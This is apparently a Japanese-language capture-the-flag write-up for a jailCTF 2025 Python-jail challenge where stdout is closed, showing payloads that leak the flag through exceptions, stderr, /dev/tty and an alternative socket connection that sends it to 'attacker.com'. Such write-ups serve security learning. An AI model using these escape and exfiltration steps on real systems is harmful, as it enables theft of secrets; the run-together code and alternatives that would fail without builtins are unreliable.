jailCTF 2025 - blindness / one
Challenge
stdout が閉じられた状態での pyjail。
import sys
flag = open('/flag.txt').read()sys.stdout.close()
code = input()eval(code, {'__builtins__': {}})Solution
stderr への出力
stdout は閉じられているが、stderr は開いている。例外を発生させると、トレースバックが stderr に出力される:
# 例外メッセージにフラグを含めるraise Exception(flag)例外を使ったデータ漏洩
# builtins が空でも例外は発生可能# KeyError のメッセージにフラグを含める{}[flag] # KeyError: 'flag{...}'サブクラスからの例外
# 例外クラスを見つけて使用[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'Exception'][0](flag)Technical Details
stdout vs stderr
import sys
sys.stdout # fd 1, 通常の出力sys.stderr # fd 2, エラー出力
# stdout を閉じても stderr は残るsys.stdout.close()print("hello", file=sys.stderr) # 出力される例外からの情報漏洩
# 例外の種類でビットを漏洩try: if flag[i] == '1': 1/0 # ZeroDivisionError else: [][0] # IndexErrorexcept ZeroDivisionError: bit = 1except IndexError: bit = 0fd の再オープン
# /dev/tty を使った出力open('/dev/tty', 'w').write(flag)Alternative Solutions
別解1: ファイル書き込み
open('/tmp/flag', 'w').write(flag)別解2: ネットワーク経由
# socket で外部に送信import sockets = socket.socket()s.connect(('attacker.com', 1234))s.send(flag.encode())Flag
jail{...}
References
- jailCTF 2025 Official
- https://medium.com/@mhayder1964/my-jailctf-experience-and-writeups-1cea3d85cd81